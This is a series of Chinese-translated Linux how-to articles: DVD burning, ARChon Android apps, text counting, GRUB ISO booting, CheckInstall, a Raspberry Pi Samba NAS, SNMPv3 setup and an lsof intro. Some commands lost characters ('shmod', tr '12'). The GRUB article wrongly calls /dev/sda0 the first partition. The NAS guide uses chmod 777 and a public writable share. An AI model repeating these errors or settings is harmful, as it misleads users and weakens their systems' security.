不像其他工具, dvd+rw-mediainfo命令不会产生任何输出,除非你插入DVD光盘到刻录机中。所以,当你插入DVD光盘后,运行以下的命令。用你自己的设备名称替换“/dev/sr0”。

$ sudo dvd+rw-mediainfo /dev/sr0
Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度
Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度

dvd+rw-mediainfo工具会探测插入的媒体(本例中是“DVD-R”),以找出对媒体的实际写入速度。


via: http://ask.xmodulo.com/detect-dvd-writer-device-name-writing-speed-command-line-linux.html

译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4081-1.html

Linux:Linux有问必答:如何在Linux命令行中刻录ISO或NRG镜像到DVD

问题:我需要在Linux机器上使用DVD刻录机刻录一个镜像文件(.iso或.nrg)到DVD,有没有一个既快捷又简易的方法,最好是使用命令行工具?

最常见的两种镜像文件格式是ISO(.iso为文件扩展名)和NRG(.nrg为文件扩展名)。ISO格式是一个由ISO(国际标准组织)创立的全球标准,因此被大多数操作系统所支持,它提供了很高的便携性。另一方面,NRG格式是由Nero AG开发的私有格式,Nero AG是一个很流行的磁盘镜像和刻录软件公司。

Linux:Linux有问必答:如何在Linux命令行中刻录ISO或NRG镜像到DVD
Linux:Linux有问必答:如何在Linux命令行中刻录ISO或NRG镜像到DVD

下面来解答怎样从Linux命令行刻录.iso或.nrg镜像到DVD。

刻录.ISO镜像文件到DVD

要刻录.iso镜像文件到DVD,我们将使用growisofs这个工具:

 # growisofs -dvd-compat -speed=4 -Z /dev/dvd1=WindowsXPProfessionalSP3Original.iso

在上面的命令行中,“-dvd-compat”选项提供了与DVD-ROM/-Video的最大介质兼容性。在一次写入式 DVD+R 或 DVD-R 上下文中,导致不可添加记录(关闭磁盘)。

“-Z /dev/dvd1=filename.iso”选项表示我们刻录.iso文件到设备选单(/dev/dvd1)中选择的介质中。

“-speed=N”参数指定了DVD刻录机的刻录速度,这与驱动自身的能力直接相关。“-speed=8”将以8x刻录,“-speed=16”将以16x刻录,以此类推。没有该参数,growisofs将默认以最低速刻录,在这里是4x。你可以根据你刻录机的可用速度和磁盘类型选择合适的刻录速度。

你可以根据此教程找出你的DVD刻录机的设备名称和它所支持的写入速度。

刻录进程完成后,磁盘会自动弹出。

把NRG镜像转换为ISO格式

由于ISO被广为采用,刻录.iso镜像到CD/DVD就非常简单。但是,要刻录一个.nrg镜像则首先需要将它转换为.iso格式。

把一个.nrg镜像文件转换到.iso格式,你可以使用nrg2iso这个工具。它是一个开源程序,用来将Nero Burning Rom创建的镜像转换到标准的.iso(ISO9660)文件。

在Debian及其衍生版上安装nrg2iso

# aptitude install nrg2iso

在基于Red Hat的发行版上安装nrg2iso

# yum install nrg2iso

在CentOS/RHEL上,你需要先启用Repoforge仓库,再通过yum安装。

安装完nrg2iso包后,使用以下命令来将.nrg镜像转换到.iso格式:

# nrg2iso filename.nrg filename.iso

转换完成后,在当前目录中会出现一个.iso文件:

检查已刻录介质的完整性

关于这一点,你可以通过将刻录的DVD的校验和与原始.iso文件的md5校验和进行对比,以检查所刻录介质的完整性。如果两者相同,你就可以放心了,因为刻录成功了。

然而,当你使用nrg2iso来将.nrg镜像转换为.iso格式后,你需要明白一点,nrg2iso创建的.iso文件的大小不是2048的倍数(通常,.iso文件的大小是它的倍数)。因此,常规的校验和对比,该.iso文件和刻录介质的内容不一样。

另一方面,如果你已经刻录了一个不是由.nrg文件转换而来的.iso镜像,你可以使用以下命令来检查记录到DVD中的数据的完整性。替换“/dev/dvd1”为你的设备名。

# md5sum filename.iso; dd if=/dev/dvd1 bs=2048 count=$(($(stat -c "%s" filename.iso) / 2048)) | md5sum

命令的第一部分计算.iso文件的md5校验和,而第二部分则读取/dev/dvd1中的磁盘内容,然后通过管道输出给md5sum工具。“bs=2048”表示dd命令将使用2048字节块为单位检查,因为原始iso文件以2048为单位划分。

如果两个md5校验和的值相同,这就意味着刻录的介质是有效的。


via: http://ask.xmodulo.com/burn-iso-nrg-image-dvd-command-line.html

译者:GOLinux 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4082-1.html

Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon

Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon
Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon

Google最近发布了首批能在Chrome OS本地运行的安卓应用集,通过‘安卓运行时’扩展完成了该壮举。

现在,一位开发者已经指明了将安卓应用带入桌面版Chrome的路

弗拉德·菲利波夫chromeos-apk脚本ARChon安卓运行时扩展手拉手一起开展工作,将安卓应用带进了Windows,Mac和Linux桌面上的Chrome中。

Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon
Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon

运行在Ubuntu 14.04 LTS上的安卓应用:IMDB,Flipboard和Twitter

通过‘安卓运行时’运行的应用的性能不是很令人惊异,任何想要运行Dead Trigger 2或者其它图形密集型游戏的雄心壮志可以放到一边了。

同样地,要运行官方的‘安卓运行时’的非官方重构包,或者在Chrome OS之外运行的话,其系统完整性(如网络摄像头,扬声器等)可能不完整或者根本不可能。

按照下面的指南一步步来,并不保证一定成功。它只能作为高度实验性进行,里面遍布漏洞,很不稳定——甚至白日见鬼。只能出于好奇而尝试,不要高度寄予厚望,这样你就不会深受其困扰。

安卓应用转战Linux大法

要通过Chrome在Linux上运行安卓应用,很明显,你需要安装Chrome,要求的版本是37,或者更高。坦率地讲,如果你打算玩玩不稳定的Chrome版本,那么你也可以下载并为Linux安装

如果已经安装了Chrome的某个版本?你可以通过命令行来安装不稳定版,命令如下:

sudo apt-get install google-chrome-unstable

有了 Chrome 之后,你需要下载定制版的‘安卓运行时’扩展,而不是Google或Chronium提供的版本——由弗拉德·菲利波夫创建的‘安卓运行时’。这个版本和官方的有着诸多的不同,最突出的不同就是它可以运行在桌面版的浏览器上。

下载好‘安卓运行时’扩展后,你需要从.zip解压内容,并移动解压后的文件夹到你的Home文件夹。

要安装它,打开Google Chrome,点击汉堡式菜单按钮,然后导航到扩展页。检查‘启用开发者模式’并点击‘加载解包的扩展’按钮。

Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon
Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon

‘安卓运行时’扩展本身不会做太多事情,所以你需要从安卓应用创建兼容包。要完成这项工作,你需要‘chromeos-apk命令行Javascript工具,它可以从“Node 封装模块管理器(npm )”安装。

首先运行:

sudo apt-get install npm nodejs nodejs-legacy

Ubuntu 64位用户?你还需要获取以下库:

sudo apt-get install lib32stdc++6

现在,运行npm命令来安装该脚本吧:

npm install -g chromeos-apk

根据你的配置,你可能需要过会儿使用sudo来运行。如果你不喜欢通过sudo安装npm模块,你可以试着骗过它。

Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon
Linux:安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon

现在,搞定了。去Google找找你想要试试的应用的APK吧,请牢记不是所有的安卓应用都会工作,而那些可以工作的也未必工作得很好,或者缺少功能。

把你想要的安卓APK放到~/Home,然后回到终端中使用以下命令来转换,你可以将APK命名成任何你想要的名字:

chromeos-apk replaceme.apk --archon

该命令将花一点时间来完成这项工作,也许也就是一眨眼的时间。实际上,不需要眨眼的时间

现在,在你的Home文件夹内有个ARChon生成的Chrome APK extension-y folder-y这样的东西。所有剩下来要做的事,就是安装并查看它是否正常工作!

回到chrome://extensions页面,再次轻敲‘加载解封装扩展’按钮,但这次选择上面脚本创建出来的文件夹。

应用应该会正确安装,但是它确实会没有问题吗?打开Chrome应用启动器或应用页面并启动它来看看是否有问题。

深度探索

由于ARChon运行时支持不限数量的chrome化的APK,你可以反复进行该操作,你想做多少次都行。Chrome APK subreddit用于跟踪成功/失败情况,所以如果你感到很有用,一定要贴出你的结果。


via: http://www.omgubuntu.co.uk/2014/09/install-android-apps-ubuntu-archon

作者:Joey-Elijah Sneddon 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4086-1.html

Linux:Linux终端的乐趣之把玩字词计数

Linux 命令行有很多的乐趣,我们可以很容易并且完善地执行很多繁琐的任务。比如,我们计算一个文本文件中字和字符的出现频率,这就是我们打算在这篇文章中讲到的。

立刻来到我们脑海的命令,计算字和字符在一个文本文件中出现频率的 Linux 命令是 wc 命令

Linux:Linux终端的乐趣之把玩字词计数
Linux:Linux终端的乐趣之把玩字词计数

在使用的脚本来分析文本文件之前,我们必须有一个文本文件。为了保持一致性,我们将创建一个文本文件,man命令的输出如下所述。

$ man man > man.txt

以上命令是将man命令的使用方式导入到man.txt文件里。

我们希望能得到最平常的单词,对之前我们新建的文件执行如下脚本。

$ cat man.txt | tr ' '  '12' | tr '[:upper:]' '[:lower:]' | tr -d '[:punct:]' | grep -v '[^a-z]' | sort | uniq -c | sort -rn | head

Sample Output

7557
262 the
163 to
112 is
112 a
78 of
78 manual
76 and
64 if
63 be

上面的脚本,输出了最常使用的十个单词。

如何看单个的字母呢?那就用如下的命令。

$ echo 'tecmint team' | fold -w1

Sample Output

t
e
c
m
i
n
t
t
e
a
m

: -w1只是设定了长度

现在我们将从那个文本文件中掰下来的每一个字母,对结果进行排序,得到所需的输出频率的十个最常见的字符。

$ fold -w1 < man.txt | sort | uniq -c | sort -rn | head

Sample Output

8579
2413 e
1987 a
1875 t
1644 i
1553 n
1522 o
1514 s
1224 r
1021 l

如何区分大小写呢?之前我们都是忽略大小写的。所以,用如下命令。

$ fold -w1 < man.txt | sort | tr '[:lower:]' '[:upper:]' | uniq -c | sort -rn | head -20

Sample Output

11636
2504 E
2079 A
2005 T
1729 I
1645 N
1632 S
1580 o
1269 R
1055 L
836 H
791 P
766 D
753 C
725 M
690 U
605 F
504 G
352 Y
344 .

请检查上面的输出,标点符号居然包括在内。让我们干掉他,用tr 命令。GO:

$ fold -w1 < man.txt | tr '[:lower:]' '[:upper:]' | sort | tr -d '[:punct:]' | uniq -c | sort -rn | head -20

Sample Output

  11636
  2504 E
  2079 A
  2005 T
  1729 I
  1645 N
  1632 S
  1580 O
  1550
  1269 R
  1055 L
   836 H
   791 P
   766 D
   753 C
   725 M
   690 U
   605 F
   504 G
   352 Y

现在,我们有了三个文本,那就让我们用如下命令查看结果吧。

$ cat *.txt | fold -w1 | tr '[:lower:]' '[:upper:]' | sort | tr -d '[:punct:]' | uniq -c | sort -rn | head -8

Sample Output

  11636
   2504 E
   2079 A
   2005 T
   1729 I
   1645 N
   1632 S
   1580 O

下一步我们将会生成那些罕见的至少十个字母长的单词。以下是简单的脚本:

$ cat man.txt | tr '' '12' | tr '[:upper:]' '[:lower:]' | tr -d '[:punct:]' | tr -d '[0-9]' | sort | uniq -c | sort -n |  grep -E '..................' | head

Sample Output

1        ──────────────────────────────────────────
1        a all
1        abc             any or all arguments within   are optional
1               able  see setlocale for precise details
1        ab              options delimited by  cannot be used together
1               achieved by using the less environment variable
1              a child process returned a nonzero exit status
1               act as if this option was supplied using the name as a filename
1               activate local mode  format and display  local  manual  files
1               acute accent

: 上面的.越来越多,其实,我们可以使用.{10} 得到同样的效果。

这些简单的脚本,让我们知道最频繁出现的单词和英语中的字符。

现在结束了。下次我会在这里讲到另一个有趣的话题,你应该会喜欢读。还有别忘了向我们提供您的宝贵意见。


via: http://www.tecmint.com/play-with-word-and-character-counts-in-linux/

作者:Avishek Kumar 译者:MikeCoder 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4088-1.html

Linux:直接从硬盘启动Linux ISO镜像

Linux:直接从硬盘启动Linux ISO镜像
Linux:直接从硬盘启动Linux ISO镜像

Linux的GRUB2启动加载器可以直接从硬盘启动Linux ISO文件,可以启动Live CD的 ISO,而不用烧录到光盘来安装Linux到一个硬盘分区,或从USB驱动启动。

我们在Ubuntu 14.04上实施了该过程——Ubuntu及基于Ubuntu的Linux版本对此支持良好。其它Linux发行版上的工作原理也类似。

获取Linux ISO文件

这一密技需要你的硬盘驱动器上安装有Linux系统,你的计算机必须使用GRUB2启动加载器,这是大多数Linux系统的标准启动加载器。不好意思,你是不能使用Windows启动加载器来直接启动一个Linux ISO文件的。

下载你想要使用的ISO文件,并放到你的Linux分区中。GRUB2应该支持大多数Linux系统的。如果你想要在live环境中使用它们,而不想将它们安装到硬盘驱动器上,请确认你下载的是各个Linux ISO的“live CD”版本。很多基于Linux的可启动工具盘也应该可以工作。

检查ISO文件内容

你可能需要查看ISO文件的内部来知道那些特定的的文件在哪里。例如,你可以通过使用Ubuntu及其它基于GNOME的桌面环境中的归档管理器/文件管理器这些图形化应用程序来打开ISO文件。在Nautilus文件管理器中,右击ISO文件并选择使用归档管理器打开。

找到内核文件和initrd映像。如果你正在使用Ubuntu ISO文件,你会在casper文件夹中找到这些文件——vmlinuz文件是Linux内核,而initrd文件是initrd映像。后面,你需要知道它们在ISO文件中所处的位置。

Linux:直接从硬盘启动Linux ISO镜像
Linux:直接从硬盘启动Linux ISO镜像

检查硬盘分区路径

GRUB使用与Linux不同的“设备命名”方式。在Linux系统中,/dev/sda0是硬盘上的第一个分区——a是指第一个硬盘,而0是指第一个分区。在GRUB中,与/dev/sda0相对应的是(hd0,1)。0指第一个硬盘,而1则指它上面的第一个分区。换句话说,在GRUB设备名中,磁盘编号从0开始计数,而分区编号则从1开始计数——是啊,这真是突然令人困惑。例如,(hd3,6)是指第四磁盘上的第六分区。

你可以使用fdisk -l命令来查看该信息。在Ubuntu上,打开终端并运行以下命令:

sudo fdisk -l

你将看到一个Linux设备路径列表,你可以自行将它们转成GRUB设备名。例如,在下面的图片中,我们可以看到有个系统分区是/dev/sda1——那么,对于GRUB而言,它就是(hd0,1)。

Linux:直接从硬盘启动Linux ISO镜像
Linux:直接从硬盘启动Linux ISO镜像

创建GRUB2启动条目

添加自定义启动条目的最简单的方式是编辑/etc/grub.d/40_custom脚本,该文件设计用于用户自行添加启动条目。在编辑该文件后,/etc/defaults/grub文件和/etc/grub.d/脚本的内容将合成创建/boot/grub/grub.cfg文件——你不应该手工编辑这个文件。它被设计为通过你在另外的文件中指定的设置自动生成。

你需要以root特权打开/etc/grub.d/40_custom文件来编辑。在Ubuntu上,你可以通过打开终端窗口,并运行以下命令来完成:

sudo gedit /etc/grub.d/40_custom

放轻松点,你可以用你喜爱的文本编辑打开该文件。例如,你可以替换命令中“gedit”为“nano”,在Nano文本编辑器中打开它。

除非你已经添加了其它自定义启动条目,否则你应当看到的是一个几乎空的文件。你需要在注释行下添加一个或多个ISO启动部分。

Linux:直接从硬盘启动Linux ISO镜像
Linux:直接从硬盘启动Linux ISO镜像

这里为你展示了怎样来从ISO文件启动Ubuntu或基于Ubuntu的发行版,我们在Ubuntu 14.04下作了测试:

menuentry "Ubuntu 14.04 ISO" {
set isofile="/home/name/Downloads/ubuntu-14.04.1-desktop-amd64.iso"
loopback loop (hd0,1)$isofile
linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=${isofile} quiet splash
initrd (loop)/casper/initrd.lz
}

自定义启动条目以包含你期望的菜单的条目名称,并指定计算机上该ISO文件的正确路径,以及包含ISO文件的硬盘和分区设备名。如果vmlinuz和initrd文件的名称或路径不同,请为这些文件指定正确的路径。

(如果你的/home/ 目录是一个分区,请忽略/home部分,像这样:set isofile=”/name/Downloads/${isoname}”)。

重要说明:不同的Linux版本要求带有不同启动选项的不同的启动条目,GRUB Live ISO多启动项目提供了用于不同Linux发行版的菜单条目的各种不同类型。你应当为你想要启动的ISO文件调整这些示例菜单条目。你也可以仅仅从网页搜索你想要启动的Linux发行版的名称和发行编号,并附带关键词“在GRUB中从ISO启动”,以获取更多信息。

Linux:直接从硬盘启动Linux ISO镜像
Linux:直接从硬盘启动Linux ISO镜像

如果你想要添加更多ISO启动选项,请为该文件添加额外部分。

完成后保存文件,返回终端窗口并运行以下命令:

sudo update-grub
Linux:直接从硬盘启动Linux ISO镜像
Linux:直接从硬盘启动Linux ISO镜像

再次启动计算机时,你将看到ISO启动条目,你可以选择它来启动ISO文件。在启动时,你可能需要按Shift键来显示GRUB菜单。

如果在尝试启动ISO文件时你看见错误信息或黑屏,那么你的启动条目配置肯定配置错误了。即使ISO文件路径和设备名是正确的,ISO文件上的vmlinuz和initrd文件的路径可能是不正确的,或者你启动Linux系统可能需要不同的选项。


via: http://www.howtogeek.com/196933/how-to-boot-linux-iso-images-directly-from-your-hard-drive/

作者:Chris Hoffman 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4089-1.html

Linux:Linux有问必答:怎么用CheckInstall从源码创建一个RPM或DEB包

问题:我想要从源码创建安装的软件包。有没有一种方式从源码来创建和安装软件包,而不是运行“make install”?这样的话,以后如果我想,我可以容易的卸载程序。

如果你已经从它的源码运行“make install”安装了linux程序。想完整移除它将变得真的很麻烦,除非程序的开发者在Makefile里提供了uninstall的目标设置。否则你必须在安装前后比较你系统里文件的完整列表,然后手工移除所有在安装过程中加入的文件。

Linux:Linux有问必答:怎么用CheckInstall从源码创建一个RPM或DEB包
Linux:Linux有问必答:怎么用CheckInstall从源码创建一个RPM或DEB包

这时候Checkinstall就可以派上使用。Checkinstall会跟踪install命令行所创建或修改的所有文件的路径(例如:“make install”、“make install_modules”等)并建立一个标准的二进制包,让你能用你发行版的标准包管理系统安装或卸载它,(例如Red Hat的yum或者Debian的apt-get命令)。已知它在 Slackware、SuSe、Mandrake 和 Gentoo 上也工作很好,请参考其官方文档

在这篇文章中,我们只集中在红帽子和Debian为基础的发行版,并展示怎样从源码使用Checkinstall创建一个RPM和DEB软件包

在linux上安装Checkinstall

在Debian及其衍生发行版上安装Checkinstall:

# aptitude install checkinstall

在红帽子的发行版上安装Checkinstall,你需要下载一个已经打包好的Checkinstall rpm包(例如:从 http://rpm.pbone.net找到),不过它已经从Repoforge库里删除了。这个包是针对Cent OS6的,不过也可在Cent OS7里工作。

# wget ftp://ftp.pbone.net/mirror/ftp5.gwdg.de/pub/opensuse/repositories/home:/ikoinoba/CentOS_CentOS-6/x86_64/checkinstall-1.6.2-3.el6.1.x86_64.rpm
# yum install checkinstall-1.6.2-3.el6.1.x86_64.rpm

一旦checkinstall安装好,你就可以用下列格式创建一个特定的软件包

# checkinstall 

如果没有参数,默认安装命令“make install”将被使用

用Checkinstall创建一个RPM或DEB包

在这个例子里,我们将创建一个htop包,这是一个linux交互式文本模式进程查看器(类似 top)。

首先,让我们从项目的官方网站下载源代码,作为一个好的习惯,我们存储源码包到/usr/local/src下,并解压它。

# cd /usr/local/src
# wget http://hisham.hm/htop/releases/1.0.3/htop-1.0.3.tar.gz
# tar xzf htop-1.0.3.tar.gz
# cd htop-1.0.3

让我们看看htop的安装命令是什么,以便我们能用Checkinstall命令调用它,如下面所示,htop用“make install”命令安装。

# ./configure
# make install

因此,要创建一个htop安装包,我们可以不带任何参数的调用checkinstall,这将使用“make install”命令创建一个包。在这个过程中, checkinstall命令会问你几个问题。

简而言之,如下命令会创建一个htop包:

# ./configure
# checkinstall

“Should I create a default set of package docs?(我会创建一个默认设置的包文件?)”,回答“Y”:

你可以输入一个包的简短描述,然后按两次回车:

输入一个数字以修改下面的任何值或ENTER继续:

Linux:Linux有问必答:怎么用CheckInstall从源码创建一个RPM或DEB包
Linux:Linux有问必答:怎么用CheckInstall从源码创建一个RPM或DEB包

然后checkinstall将自动地创建一个.rpm或者.deb包,根据你的linux系统是什么:

在CentOS7:

在Debian 7:


via: http://ask.xmodulo.com/build-rpm-deb-package-source-checkinstall.html

译者:luoyutiantang 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4090-1.html

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

一、家庭服务器实现的主要功能

1、流媒体播放服务:利用DLNA实现电视、手机、电脑播放其上面的媒体文件。

2、文件共享:利用samba实现手机、电脑等终端与服务器的文件共享。

3、自动下载:利用aria2c实现自动下载。

先上几张效果图:

用orico的包装盒做了个机箱。

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

内部效果,线还是有些凌乱

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

放在桌上,感觉还不错,呵呵

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

二、准备工作

1、树莓派B+

2、安装raspbian系统,具体安装方法见:树莓派学习笔记(1):入手树莓派

3、设置固定IP为192.168.1.120,设置方法见:树莓派学习笔记(3):利用VNC远程控制树莓派。

4、安装vnc软件,安装方法见:树莓派学习笔记(3):利用VNC远程控制树莓派。

5、准备了一块旧移动硬盘(80G)

6、准备了可外接供电的usb hub一个,树莓派本身输出电流较小,很难保证移动硬盘的运行,所以加了一个可外接供电的usb hub。

三、安装samba实现文件共享

1、准备硬盘

      硬盘进行分区和格式化,这里我直接就分了一个区,格式化为ext4格式,据网上介绍说如果是fat或者ntfs等格式可能会出现权限问题,于是干脆直接格式化为ext4格式。硬盘在树莓派上格式化会比较慢,我就在电脑上进行了格式化。电脑操作系统是windows7,利用软件MiniTool Partition Wizard Home Edition 8.0,下载地址:http://www.partitionwizard.com/download.html。具体使用方法是先将原分区删除,然后点击creat,在格式那里选ext4,类型我选的primary,label用的nas,然后点击apply就开始格式化硬盘了。(如果用容量较小的U盘,可以直接用树莓派格式化,命令为:mkfs -t ext4 /dev/sdb1

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

2、将硬盘挂载到树莓派上

      树莓派开机后,用putty连接(连接方法见树莓派学习笔记(1):入手树莓派)后,为方便操作直接进行root用户(具体方法见http://www.cnblogs.com/xiaowuyi/p/3980037.html一楼评论处),然后运行df –h,查看硬盘挂载情况。

root@raspberrypi:/home/pi# df -h
Filesystem              Size        Used        Avail     Use%      Mounted on
rootfs                  2.9G       2.4G        387M     87%        /
/dev/root               2.9G       2.4G        387M     87%        /
devtmpfs                183M          0        183M      0%        /dev
tmpfs                    38M       792K         37M      3%        /run
tmpfs                   5.0M          0        5.0M      0%        /run/lock
tmpfs                    75M          0         75M      0%        /run/shm
/dev/mmcblk0p1           56M       9.7M         47M     18%        /boot
/dev/sda1                70G        24M         67G      1%        /media/nas

 

最后一行/dev/sda1说明硬盘已经挂载。为下一步安装samba,将共享文件夹设为/samba。于是新建文件夹:

mkdir /samba

 设置访问权限:

shmod 777 /samba

 将硬盘挂载到/samba文件夹,具体步骤:

umount /dev/sda1   #取消挂载
mount /dev/sda1 /samba

 这里再查看df -h,结果为:

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

这里表示已挂载成功。

3、解决硬盘的自动挂载

      每次树莓派重启或者硬盘插拔都需要对硬盘进行重新挂载,比较麻烦,因此需要自动挂载。这里要修改/etc/fstab文件。有人喜欢用vi进行编辑,我比较喜欢直接vnc连接上后,用编辑器进行编辑。

image

可以看到,fstab文件其实就是一个表格,表格各列的含意如下:

第一列:磁盘分区名/卷标,一般是/dev/sdaN(N表示正整数)

第二列:挂载点,我们在这里把/dev/sda1挂到/samba上。

第三列:缺省设置,一般用defautls。

第四列:是否备份:0——表示不做 dump 备份;1——表示要将整个 里的内容备份;2 也表示要做 dump 备份,但该分区的重要性比 1 小。

第五列:检测顺序:0——不进行检测;根分区(/),必须填写 1,其它的都不能填写 1。如果有分区填写大于 1 的话,则在检查完根分区后,从小到大依次检查下去。

具体填写方法在图中已注明。

4、安装samba

更新一下源:

sudo apt-get update

安装samba

sudo apt-get install samba samba-common-bin

安装完成后,配置/etc/samba/smb.conf文件

在其最后添加以下命令:

#================================================
[share]                                   #共享文件的名称,将在网络上以此名称显示
        path = /samba                     #共享文件的路径
        valid users = root pi             #允许访问的用户,这里我用的是root 和 pi 两个用户
        browseable = yes                  #允许浏览
        public = yes                      #共享开放
        writable = yes                    #可写
#================================================

 保存后,重启samba服务,输入

/etc/init.d/samba restart

 最后添加共享用户:

smbpasswd –a pi  #这里我用的pi。

 设置开机自启动,编辑/etc/rc.loca,如下

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

5、测试samba安装效果

在windows计算机上,打开我的电脑,在左下角网络点右键,选映射网络驱动器

Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)
Linux:树莓派实现NAS家庭服务器(流媒体播放、文件共享及下载机)

点击完成会提示输入用户名和密码,这里输入设置的共享用户名和密码。

image

 最后在计算机下会出现共享的文件夹,点开文件夹,新建test.txt文件进行一下测试,如果能正常建立,就说明ok了,如果不行,应该是权限问 题,可再重新设置一下/samba文件夹权限。这里注意,如果在/samba文件夹下新建新的文件夹,也需要设置权限,可以用vnc连接后,用管理员浏 览,点右键设置文件夹权限为read and write,也可以用chmod命令设置。

来源:http://www.cnblogs.com/xiaowuyi/p/4051238.html

Linux:在ubuntu14.04上配置SNMPv3

简单网络管理协议(SNMP)是用于IP网络设备管理的标准协议。典型的支持SNMP协议的设备有路由器、交换机、服务器、工作站、打印机及数据机柜等等。SNMP一般被网络管理系统用于按照管理员设定的条件来监视网络附加设备。SNMP是因特网协议套件中的一个组成部分,它由IETF机构定义。它包含一系列的网络管理标准,其中有一个应用层协议,一个数据库架构以及一组数据对象。

SNMP将管理数据以变量的形式展示出来,这些变量描述了系统配置。同时这些变量可以被用于管理的应用查询(或者被设置)。

Linux:在ubuntu14.04上配置SNMPv3
Linux:在ubuntu14.04上配置SNMPv3

为什么需要使用SNMPv3

尽管SNMPv3所增加的加密功能并不影响协议层面,但是新的文本惯例、概念及术语使得它看起来很不一样。

SNMPv3在SNMP的基础之上增强了安全性以及远程配置功能。

最初,SNMP最大的缺点就是安全性弱。SNMP的第一与第二个版本中,身份验证仅仅是在管理员与代理间传送一个明文的密码而已。目前每一个SNMPv3的信息都包含了被编码成8进制的安全参数。这些安全参数的具体意义由所选用的安全模型决定。

SNMPv3提供了重要的安全特性:

  • 保密性 —— 加密数据包以防止未经授权的源监听。

  • 完整性 —— 数据的完整性特性确保数据在传输的时候没有被干扰,并且包含了可选的数据响应保护机制。

  • 身份验证 —— 检查数据是否来自一个合法的源。

在ubuntu中安装SNMP服务器及客户端

打开终端运行下列命令

sudo apt-get install snmpd snmp

安装完成后需要做如下改变。

配置SNMPv3

获得从外部守护进程访问的权限

默认的安装仅提供本地的访问权限,如果想要获得外部访问权限,打开文件 /etc/default/snmpd。

sudo vi /etc/default/snmpd

改变下列内容

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -g snmp -I -smux,mteTrigger,mteTriggerConf -p /var/run/snmpd.pid'

改为

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid -c /etc/snmp/snmpd.conf'

最后重启 snmpd

sudo /etc/init.d/snmpd restart

定义 SNMPv3 用户,身份验证以及加密参数

“securityLevel”参数使得SNMPv3有多种不同的用途。

  • noAuthNoPriv —— 没有授权,加密以及任何安全保护!

  • authNoPriv —— 需要身份认证,但是不对通过网络发送的数据进行加密。

  • autoPriv —— 最可靠模式。需要身份认证而且数据会被加密。

snmpd 的配置以及设置都保存在文件 /etc/snmp/snmpd.conf。使用编辑器编辑文件:

sudo vi /etc/snmp/snmpd.conf

在文件末尾添加以下内容:

#
createUser user1
createUser user2 MD5 user2password
createUser user3 MD5 user3password DES user3encryption
#
rouser user1 noauth 1.3.6.1.2.1.1
rouser user2 auth 1.3.6.1.2.1
rwuser user3 priv 1.3.6.1.2.1

注:如果你需要使用自己的用户名/密码对的话,请注意密码及加密短语的最小长度是8个字符。

同时,你需要做如下的配置以便snmp可以监听来自任何接口的连接请求。

#agentAddress udp:161,udp6:[::1]:161

改为

agentAddress udp:161,udp6:[::1]:161

保存改变后的snmpd.conf文件并且重启守护进程:

sudo /etc/init.d/snmpd restart

via: http://www.ubuntugeek.com/how-to-configure-snmpv3-on-ubuntu-14-04-server.html

译者:SPccman 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4098-1.html

Linux:Linux 命令神器:lsof 入门

Linux:Linux 命令神器:lsof 入门
Linux:Linux 命令神器:lsof 入门

lsof是系统管理/安全的尤伯工具。我大多数时候用它来从系统获得与网络连接相关的信息,但那只是这个强大而又鲜为人知的应用的第一步。将这个工具称之为lsof真实名副其实,因为它是指“列出打开文件(lists openfiles)”。而有一点要切记,在Unix中一切(包括网络套接口)都是文件。

有趣的是,lsof也是有着最多开关的Linux/Unix命令之一。它有那么多的开关,它有许多选项支持使用-和+前缀。

usage: [-?abhlnNoOPRstUvV] [+|-c c] [+|-d s] [+D D] [+|-f[cgG]]
 [-F [f]] [-g [s]] [-i [i]] [+|-L [l]] [+|-M] [-o [o]]
 [-p s] [+|-r [t]] [-S [t]] [-T [t]] [-u s] [+|-w] [-x [fl]] [--] [names]

正如你所见,lsof有着实在是令人惊讶的选项数量。你可以使用它来获得你系统上设备的信息,你能通过它了解到指定的用户在指定的地点正在碰什么东西,或者甚至是一个进程正在使用什么文件或网络连接。

对于我,lsof替代了netstat和ps的全部工作。它可以带来那些工具所能带来的一切,而且要比那些工具多得多。那么,让我们来看看它的一些基本能力吧:

关键选项

